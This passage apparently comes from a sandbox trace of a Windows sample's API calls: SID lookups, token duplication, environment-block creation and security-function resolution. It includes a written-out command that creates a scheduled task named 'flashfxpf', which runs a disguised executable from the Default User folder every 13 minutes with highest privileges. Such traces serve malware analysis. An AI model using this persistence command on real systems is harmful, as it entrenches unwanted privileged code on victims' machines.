0x2af180 [0164.261] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0164.261] SysStringLen (param_1="-") returned 0x1 [0164.261] memcpy (in: _Dst=0x107588, _Src=0x12dc48, _Size=0x3e | out: _Dst=0x107588) returned 0x107588 [0164.261] memcpy (in: _Dst=0x1075c4, _Src=0x142458, _Size=0x4 | out: _Dst=0x1075c4) returned 0x1075c4 [0164.261] free (_Block=0x2af260) [0164.261] free (_Block=0x2af280) [0164.261] malloc (_Size=0x18) returned 0x2af280 [0164.261] malloc (_Size=0x18) returned 0x2af260 [0164.261] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0164.261] SysStringLen (param_1="3835049652") returned 0xa [0164.261] memcpy (in: _Dst=0x12dc48, _Src=0x107588, _Size=0x40 | out: _Dst=0x12dc48) returned 0x12dc48 [0164.261] memcpy (in: _Dst=0x12dc86, _Src=0x142458, _Size=0x16 | out: _Dst=0x12dc86) returned 0x12dc86 [0164.261] free (_Block=0x2af180) [0164.261] free (_Block=0x2af280) [0164.262] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b78 [0164.262] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0164.262] malloc (_Size=0x18) returned 0x2af280 [0164.262] malloc (_Size=0x18) returned 0x2af180 [0164.262] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0164.262] SysStringLen (param_1="-") returned 0x1 [0164.262] memcpy (in: _Dst=0x107588, _Src=0x12dc48, _Size=0x54 | out: _Dst=0x107588) returned 0x107588 [0164.262] memcpy (in: _Dst=0x1075da, _Src=0x142458, _Size=0x4 | out: _Dst=0x1075da) returned 0x1075da [0164.262] free (_Block=0x2af260) [0164.262] free (_Block=0x2af280) [0164.262] malloc (_Size=0x18) returned 0x2af280 [0164.262] malloc (_Size=0x18) returned 0x2af260 [0164.262] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0164.262] SysStringLen (param_1="1000") returned 0x4 [0164.262] memcpy (in: _Dst=0x12dc48, _Src=0x107588, _Size=0x56 | out: _Dst=0x12dc48) returned 0x12dc48 [0164.262] memcpy (in: _Dst=0x12dc9c, _Src=0x142458, _Size=0xa | out: _Dst=0x12dc9c) returned 0x12dc9c [0164.262] free (_Block=0x2af180) [0164.263] free (_Block=0x2af280) [0164.263] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0164.263] malloc (_Size=0x5e) returned 0x2b0ad0 [0164.263] free (_Block=0x2af260) [0164.263] malloc (_Size=0x18) returned 0x2af260 [0164.263] free (_Block=0x2b0ad0) [0164.263] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0164.266] GetLastError () returned 0x7a [0164.266] malloc (_Size=0x14) returned 0x2af280 [0164.266] malloc (_Size=0x16) returned 0x2af180 [0164.266] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af280, cchName=0xe7ca94, ReferencedDomainName=0x2af180, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0164.267] malloc (_Size=0x18) returned 0x2af240 [0164.267] malloc (_Size=0x18) returned 0x2af1a0 [0164.267] free (_Block=0x2af280) [0164.267] free (_Block=0x2af180) [0164.267] free (_Block=0x2b8650) [0164.267] free (_Block=0x2af1a0) [0164.267] free (_Block=0x2af240) [0164.267] free (_Block=0x2af260) [0164.268] free (_Block=0x2b8b50) [0164.268] malloc (_Size=0x48) returned 0x2ad6d0 [0164.268] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0164.273] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0164.273] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0164.273] malloc (_Size=0x18) returned 0x2af260 [0164.273] CreateEnvironmentBlock () returned 0x1 [0164.306] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0164.306] malloc (_Size=0x18) returned 0x2af240 [0164.306] CreateProcessAsUserW (in: hToken=0x234, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"flashfxpf\" /sc MINUTE /mo 13 /tr \"'C:\\Users\\Default User\\flashfxp.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x18a730, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"flashfxpf\" /sc MINUTE /mo 13 /tr \"'C:\\Users\\Default User\\flashfxp.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x300, hThread=0x2fc, dwProcessId=0xa58, dwThreadId=0xa5c)) returned 1 [0164.310] CloseHandle (hObject=0x300) returned 1 [0164.310] CloseHandle (hObject=0x2fc) returned 1 [0164.310] free (_Block=0x2af240) [0164.310] DestroyEnvironmentBlock () returned 0x1 [0164.310] malloc (_Size=0x48) returned 0x2ad680 [0164.310] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2e1544c0, dwHighDateTime=0x1d8a92a)) [0164.310] SetEvent (hEvent=0x1f0) returned 1 [0164.311] CloseHandle (hObject=0x2d4) returned 1 [0164.311] CloseHandle (hObject=0x234) returned 1 [0164.448] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd940 [0164.448] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd940, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0164.448] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd940 | out: hHeap=0xc0000) returned 1 Thread: id = 87 os_tid = 0x86c [0147.154] SetLastError (dwErrCode=0x0) [0147.154] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xdce1f8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xdce100 | out: pulNumLanguages=0xdce1f8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xdce100) returned 1 [0147.154] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0147.154] SetLastError (dwErrCode=0x0) [0147.154] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xdce1f8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xdce100 | out: pulNumLanguages=0xdce1f8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xdce100) returned 1 [0147.154] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd900 [0147.154] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0147.154] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f2e0 [0147.154] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12f2e0, pulNumLanguages=0xdce1f8 | out: pulNumLanguages=0xdce1f8) returned 1 [0147.154] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f2e0 | out: hHeap=0xc0000) returned 1 [0147.157] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0147.157] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0147.158] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0147.158] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0147.158] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0147.158] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0147.158] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0147.160] memcpy (in: _Dst=0xdcda10, _Src=0xdcd990, _Size=0x68 | out: _Dst=0xdcda10) returned 0xdcda10 [0147.160] GetCurrentThread () returned 0xfffffffffffffffe [0147.160] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xdccb80 | out: TokenHandle=0xdccb80*=0x2d4) returned 1 [0147.160] malloc (_Size=0xd8) returned 0x2b35c0 [0147.160] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0147.161] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0147.161] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0147.161] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0147.161] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0147.162] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0147.162] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0147.162] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0147.162] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0147.162] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0147.162] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0147.162] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0147.163] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0147.163] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0147.163] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0147.163] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0147.163] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0147.164] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0147.164] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0147.164] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0147.164] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0147.164] malloc (_Size=0x18) returned 0x2aefa0 [0147.164] DuplicateTokenEx (in: hExistingToken=0x2d4, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xdccb88 | out: phNewToken=0xdccb88*=0x234) returned 1 [0147.164] malloc (_Size=0x48) returned 0x2ad270 [0147.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdcc958 | out: lpSystemTimeAsFileTime=0xdcc958*(dwLowDateTime=0x25a3e440, dwHighDateTime=0x1d8a92a)) [0147.164] SetEvent (hEvent=0x1f0) returned 1 [0147.167] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xdccaa0 | out: TokenInformation=0x0, ReturnLength=0xdccaa0) returned 0 [0147.167] GetLastError () returned 0x7a [0147.167] malloc (_Size=0x2c) returned 0x2ae2a0 [0147.167] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xdccaa0 | out: TokenInformation=0x2ae2a0, ReturnLength=0xdccaa0) returned 1 [0147.167] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0147.167] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0147.167] malloc (_Size=0x1c) returned 0x2b0000 [0147.167] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b0000, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b0000*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0147.167] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0147.167] malloc (_Size=0x18) returned 0x2aefa0 [0147.167] _ultow (in: _Dest=0x5, _Radix=14469376 | out: _Dest=0x5) returned="5" [0147.167] malloc (_Size=0x18) returned 0x2aef80 [0147.167] malloc (_Size=0x18) returned 0x2af0e0 [0147.167] SysStringLen (param_1="S-1-") returned 0x4 [0147.167] SysStringLen (param_1="5") returned 0x1 [0147.167] memcpy (in: _Dst=0x161d98, _Src=0x157868, _Size=0xa | out: _Dst=0x161d98) returned 0x161d98 [0147.167] memcpy (in: _Dst=0x161da0, _Src=0x157898, _Size=0x4 | out: _Dst=0x161da0) returned 0x161da0 [0147.167] free (_Block=0x2aefa0) [0147.168] free (_Block=0x2aef80) [0147.168] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0147.168] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0147.168] _ultow (in: _Dest=0x15, _Radix=14469376 | out: _Dest=0x15) returned="21" [0147.168] malloc (_Size=0x18) returned 0x2aef80 [0147.168] malloc (_Size=0x18) returned 0x2aefa0 [0147.168] SysStringLen (param_1="S-1-5") returned 0x5 [0147.168] SysStringLen (param_1="-") returned 0x1 [0147.168] memcpy (in: _Dst=0x157898, _Src=0x161d98, _Size=0xc | out: _Dst=0x157898) returned 0x157898 [0147.168] memcpy (in: _Dst=0x1578a2, _Src=0x157868, _Size=0x4 | out: _Dst=0x1578a2) returned 0x1578a2 [0147.168] free (_Block=0x2af0e0) [0147.168] free (_Block=0x2aef80) [0147.168] malloc (_Size=0x18) returned 0x2aef80 [0147.168] malloc (_Size=0x18) returned 0x2af0e0 [0147.168] SysStringLen (param_1="S-1-5-") returned 0x6 [0147.168] SysStringLen (param_1="21") returned 0x2 [0147.168] memcpy (in: _Dst=0x157868, _Src=0x157898, _Size=0xe | out: _Dst=0x157868) returned 0x157868 [0147.168] memcpy (in: _Dst=0x157874, _Src=0x161d98, _Size=0x6 | out: _Dst=0x157874) returned 0x157874 [0147.168] free (_Block=0x2aefa0) [0147.168] free (_Block=0x2aef80) [0147.168] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0147.169] _ultow (in: _Dest=0xfb7f942f, _Radix=14469376 | out: _Dest=0xfb7f942f) returned="4219442223" [0147.169] malloc (_Size=0x18) returned 0x2aef80 [0147.169] malloc (_Size=0x18) returned 0x2aefa0 [0147.169] SysStringLen (param_1="S-1-5-21") returned 0x8 [0147.169] SysStringLen (param_1="-") returned 0x1 [0147.169] memcpy (in: _Dst=0x161d98, _Src=0x157868, _Size=0x12 | out: _Dst=0x161d98) returned 0x161d98 [0147.169] memcpy (in: _Dst=0x161da8, _Src=0x157898, _Size=0x4 | out: _Dst=0x161da8) returned 0x161da8 [0147.169] free (_Block=0x2af0e0) [0147.169] free (_Block=0x2aef80) [0147.169] malloc (_Size=0x18) returned 0x2aef80 [0147.169] malloc (_Size=0x18) returned 0x2af0e0 [0147.169] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0147.169] SysStringLen (param_1="4219442223") returned 0xa [0147.169] memcpy (in: _Dst=0x117fe8, _Src=0x161d98, _Size=0x14 | out: _Dst=0x117fe8) returned 0x117fe8 [0147.169] memcpy (in: _Dst=0x117ffa, _Src=0x157868, _Size=0x16 | out: _Dst=0x117ffa) returned 0x117ffa [0147.169] free (_Block=0x2aefa0) [0147.169] free (_Block=0x2aef80) [0147.169] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0147.169] _ultow (in: _Dest=0xfbc24a41, _Radix=14469376 | out: _Dest=0xfbc24a41) returned="4223814209" [0147.169] malloc (_Size=0x18) returned 0x2aef80 [0147.170] malloc (_Size=0x18) returned 0x2aefa0 [0147.170] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0147.170] SysStringLen (param_1="-") returned 0x1 [0147.170] memcpy (in: _Dst=0x117f48, _Src=0x117fe8, _Size=0x28 | out: _Dst=0x117f48) returned 0x117f48 [0147.170] memcpy (in: _Dst=0x117f6e, _Src=0x161d98, _Size=0x4 | out: _Dst=0x117f6e) returned 0x117f6e [0147.170] free (_Block=0x2af0e0) [0147.170] free (_Block=0x2aef80) [0147.170] malloc (_Size=0x18) returned 0x2aef80 [0147.170] malloc (_Size=0x18) returned 0x2af0e0 [0147.170] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0147.170] SysStringLen (param_1="4223814209") returned 0xa [0147.170] memcpy (in: _Dst=0x13d588, _Src=0x117f48, _Size=0x2a | out: _Dst=0x13d588) returned 0x13d588 [0147.170] memcpy (in: _Dst=0x13d5b0, _Src=0x161d98, _Size=0x16 | out: _Dst=0x13d5b0) returned 0x13d5b0 [0147.170] free (_Block=0x2aefa0) [0147.170] free (_Block=0x2aef80) [0147.170] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0147.170] _ultow (in: _Dest=0xe49636b4, _Radix=14469376 | out: _Dest=0xe49636b4) returned="3835049652" [0147.170] malloc (_Size=0x18) returned 0x2aef80 [0147.170] malloc (_Size=0x18) returned 0x2aefa0 [0147.170] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0147.170] SysStringLen (param_1="-") returned 0x1 [0147.171] memcpy (in: _Dst=0x13d528, _Src=0x13d588, _Size=0x3e | out: _Dst=0x13d528) returned 0x13d528 [0147.171] memcpy (in: _Dst=0x13d564, _Src=0x161d98, _Size=0x4 | out: _Dst=0x13d564) returned 0x13d564 [0147.171] free (_Block=0x2af0e0) [0147.171] free (_Block=0x2aef80) [0147.171] malloc (_Size=0x18) returned 0x2aef80 [0147.171] malloc (_Size=0x18) returned 0x2af0e0 [0147.171] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0147.171] SysStringLen (param_1="3835049652") returned 0xa [0147.171] memcpy (in: _Dst=0x1602e8, _Src=0x13d528, _Size=0x40 | out: _Dst=0x1602e8) returned 0x1602e8 [0147.171] memcpy (in: _Dst=0x160326, _Src=0x161d98, _Size=0x16 | out: _Dst=0x160326) returned 0x160326 [0147.171] free (_Block=0x2aefa0) [0147.171] free (_Block=0x2aef80) [0147.171] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0147.171] _ultow (in: _Dest=0x3e8, _Radix=14469376 | out: _Dest=0x3e8) returned="1000" [0147.171] malloc (_Size=0x18) returned 0x2aef80 [0147.171] malloc (_Size=0x18) returned 0x2aefa0 [0147.171] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0147.171] SysStringLen (param_1="-") returned 0x1 [0147.171] memcpy (in: _Dst=0x160358, _Src=0x1602e8, _Size=0x54 | out: _Dst=0x160358) returned 0x160358 [0147.171] memcpy (in: _Dst=0x1603aa, _Src=0x161d98, _Size=0x4 | out: _Dst=0x1603aa) returned 0x1603aa [0147.171] free (_Block=0x2af0e0) [0147.172] free (_Block=0x2aef80) [0147.172] malloc (_Size=0x18) returned 0x2aef80 [0147.172] malloc (_Size=0x18) returned 0x2af0e0 [0147.172] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0147.172] SysStringLen (param_1="1000") returned 0x4 [0147.172] memcpy (in: _Dst=0xf6e08, _Src=0x160358, _Size=0x56 | out: _Dst=0xf6e08) returned 0xf6e08 [0147.172] memcpy (in: _Dst=0xf6e5c, _Src=0x161d98, _Size=0xa | out: _Dst=0xf6e5c) returned 0xf6e5c [0147.172] free (_Block=0x2aefa0) [0147.172] free (_Block=0x2aef80) [0147.172] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0147.172] malloc (_Size=0x5e) returned 0x2b08a0 [0147.172] free (_Block=0x2af0e0) [0147.172] malloc (_Size=0x18) returned 0x2af0e0 [0147.173] free (_Block=0x2b08a0) [0147.173] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xdcc9c4, ReferencedDomainName=0x0, cchReferencedDomainName=0xdcc9c0, peUse=0xdccad0 | out: Name=0x0, cchName=0xdcc9c4, ReferencedDomainName=0x0, cchReferencedDomainName=0xdcc9c0, peUse=0xdccad0) returned 0 [0147.174] GetLastError () returned 0x7a [0147.174] malloc (_Size=0x14) returned 0x2aef80 [0147.174] malloc (_Size=0x16) returned 0x2aefa0 [0147.174] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aef80, cchName=0xdcc9c4, ReferencedDomainName=0x2aefa0, cchReferencedDomainName=0xdcc9c0, peUse=0xdccad0 | out: Name="kEecfMwgj", cchName=0xdcc9c4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xdcc9c0, peUse=0xdccad0) returned 1 [0147.175] malloc (_Size=0x18) returned 0x2af0c0 [0147.175] malloc (_Size=0x18) returned 0x2aefc0 [0147.175] free (_Block=0x2aef80) [0147.175] free (_Block=0x2aefa0) [0147.175] free (_Block=0x2b0000) [0147.175] free (_Block=0x2aefc0) [0147.175] free (_Block=0x2af0c0) [0147.175] free (_Block=0x2af0e0) [0147.176] free (_Block=0x2ae2a0) [0147.176] GetVersionExW (in: lpVersionInformation=0xdcccb0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x3ff, dwBuildNumber=0x0, dwPlatformId=0xdcd1e0, szCSDVersion="") | out: lpVersionInformation=0xdcccb0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0147.176] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xdccb38 | out: TokenInformation=0x0, ReturnLength=0xdccb38) returned 0 [0147.176] GetLastError () returned 0x7a [0147.176] malloc (_Size=0x2c) returned 0x2ae2e0 [0147.176] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xdccb38 | out: TokenInformation=0x2ae2e0, ReturnLength=0xdccb38) returned 1 [0147.176] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0147.176] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0147.176] malloc (_Size=0x1c) returned 0x2b0000 [0147.176] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b0000, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b0000*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0147.176] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, 